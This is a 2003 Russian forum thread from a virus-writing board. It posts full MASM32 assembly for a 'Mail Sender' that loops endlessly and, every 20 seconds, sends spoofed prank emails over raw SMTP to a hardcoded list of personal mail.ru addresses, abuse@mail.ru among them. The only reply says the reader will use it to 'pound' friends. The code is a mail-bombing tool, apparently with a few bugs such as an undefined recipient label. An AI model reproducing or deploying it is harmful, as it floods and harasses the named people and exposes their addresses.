· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.VIROLOGY —› Mail Sender

Посл.отвђт Сообщенiе


Дата: Мар 4, 2003 14:22:15

Поздравте свого друга от души :)


-----------------------------------------------------

.486
.model flat, stdcall
option casemap :none

include \masm32\include1\windows.inc
include \masm32\include1\user32.inc
include \masm32\include1\kernel32.inc
include \masm32\include1\comdlg32.inc
include \masm32\include1\Wininet.inc
include \masm32\include1\Ws2_32.inc
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\Wininet.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib



EmailSender proto :dword, :dword, :dword, :dword
Main proto
SendMail proto


.data
wsadata WSADATA <>
szMailFrom db "dr_golova@mail.ru",0
szSubjct db 'Поздравление',0
szMailText db 'Пртвет с большого будуна !!!',0

szDruzi db "stenri@mail.ru",0
db "gex_mail@mail.ru",0
db "moskvi@mail.ru",0
db "ganz@mail.ru",0
db "anesteziolog@mail.ru",0
db "xstas@mail.ru",0
db "arvidjaar@mail.ru",0
db "abuse@mail.ru",0
db "dr_golova@mail.ru",0
db "Detcebel@mail.ru",0
dd -1

.code
start:

invoke WSAStartup, 201h, addr wsadata
invoke Main
invoke ExitProcess, 0

;###########################################################################

Main proc uses edi

jmp @F
timcnt dd 0
conectFlag dd 0
szmicr db "http://www.microsoft.com", 0
@@:
xor edi, edi
invoke GetTickCount
mov conectFlag, -1
.while szmicr[0] != 0
mov eax, 1
.if conectFlag == -1
invoke InternetCheckConnectionA, offset szmicr, 1, edi
.endif
.if eax
invoke GetTickCount
mov ecx, eax
sub ecx, timcnt
.if ecx > 1000*20
mov timcnt, eax
invoke CreateThread, edi, edi, addr SendMail, edi, NORMAL_PRIORITY_CLASS, addr timcnt
invoke CloseHandle, eax
mov conectFlag, -1
.endif
.endif
invoke Sleep, 1000*20
.endw
ret

Main endp

;##################################################################3

SendMail proc uses esi

lea esi, szDruzi
.while dword ptr [esi]!= -1
invoke EmailSender, addr szMailTo, esi, addr szSubjct, addr szMailText
invoke lstrlen, esi
inc eax
add esi, eax
.endw
ret

SendMail endp


; ##########################################################################

EmailSender proc uses edi esi ebx pMailTo:dword, pMailFrom:dword, pSubjc:dword, pdata:dword


LOCAL SendBuf[300] : byte
LOCAL ServerSock : dword
LOCAL ResvBuf[300] : byte
LOCAL szBufProv[300] : byte
LOCAl strTim : timeval
LOCAL sockstr : fd_set
LOCAL destination_sin : sockaddr_in
LOCAL szHeader[100] : byte

jmp @F
szHelo db "HELO %hs",13,10,0
szFrom db "MAIL FROM: <%hs>",13,10,0
szData db "DATA",0
szQuit db "QUIT",0
szEnd db 13,10,".",0
szRcpt db "RCPT TO: <%hs>",13,10,0
szEmpt db "%hs",13,10,0
szHTml db 'To: <%hs>',13,10
db 'Subject: %hs',13,10
db 'From: <%hs>',13,10,0
szMail db "mail.%hs",0
@@:
xor edi, edi
lea esi, ResvBuf
lea ebx, SendBuf
invoke socket, AF_INET, SOCK_STREAM, edi
.if eax != INVALID_SOCKET
mov ServerSock, eax
mov strTim.tv_sec, 5
mov strTim.tv_usec, edi
mov sockstr.fd_count, 1
mov eax, ServerSock
mov sockstr.fd_array, eax
invoke select, edi, addr sockstr, addr sockstr, edi, addr strTim
.if eax != INVALID_SOCKET
mov destination_sin.sin_family, AF_INET
mov destination_sin.sin_port, 1900h
mov eax, pMailFrom
xor ecx, ecx
.while [eax+ecx] != byte ptr '@'
inc ecx
.endw
add ecx, eax
inc ecx
lea edx, szMail
lea eax, szBufProv
Scall wsprintfA, eax, edx, ecx
add esp, 4*3
invoke gethostbyname, addr szBufProv
.if eax
mov eax, (hostent ptr [eax]).h_list
mov eax, [eax]
mov eax, [eax]
mov destination_sin.sin_addr, eax
invoke connect, ServerSock, addr destination_sin, sizeof destination_sin
.if eax != INVALID_SOCKET
invoke recv, ServerSock, esi, 300, edi
.if eax != INVALID_SOCKET
lea ecx, szBufProv
lea edx, szHelo
call SendRecv
.if eax
mov ecx, [esi]
.if cl == '2'
mov ecx, pMailFrom
lea edx, szFrom
call SendRecv
mov ecx, [esi]
.if cl == '2'
mov ecx, pMailTo
lea edx, szRcpt
call SendRecv
mov ecx, [esi]
.if cl == '2'
lea ecx, szData
lea edx, szEmpt
call SendRecv
mov ecx, [esi]
.if cl == '3'
call Sends
.if eax != INVALID_SOCKET
lea ecx, szEnd
lea edx, szEmpt
call SendRecv
mov ecx, [esi]
.if cl == '2'
lea ecx, szQuit
lea edx, szEmpt
call SendRecv
mov ecx, [esi]
.endif
.endif
.endif
.endif
.endif
.endif
.endif
.endif
.endif
.endif
.endif
.endif
@@Exx:
mov conectFlag, eax
invoke closesocket, ServerSock
ret
SendRecv:
Scall wsprintfA, ebx, edx, ecx
add esp, 4*3
invoke send, ServerSock, ebx, eax, edi
.if eax == INVALID_SOCKET
jmp @@Exx
.endif
invoke recv, ServerSock, esi, 300, edi
.if eax == INVALID_SOCKET
jmp @@Exx
.endif
add esp, 4
jmp dword ptr [esp-4]
Sends:
push ebx
push esi
mov ebx, -1
lea ecx, szHeader
mov [ecx], edi
Scall wsprintfA, ecx, offset szHTml, pMailTo, pSubjc, pMailFrom
add esp, 4*5
add eax, 1400
invoke GlobalAlloc, edi, eax
.if eax != edi
mov ebx, edi
mov esi, eax
mov [esi], edi
invoke lstrcat, esi, addr szHeader
invoke lstrcat, esi, pdata
invoke lstrlen, esi
.if eax > 1400
mov [esi+eax], edi
mov eax, 1400
.endif
invoke send, ServerSock, esi, eax, edi
mov ebx, eax
invoke GlobalFree, esi
.endif
pop esi
mov eax, ebx
pop ebx
add esp, 4
jmp dword ptr [esp-4]


EmailSender endp

;#############################################################

end start


Дата: Мар 4, 2003 15:58:43

Класс спасибо!!!
Пошел друзей "дубасить" :)))


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.054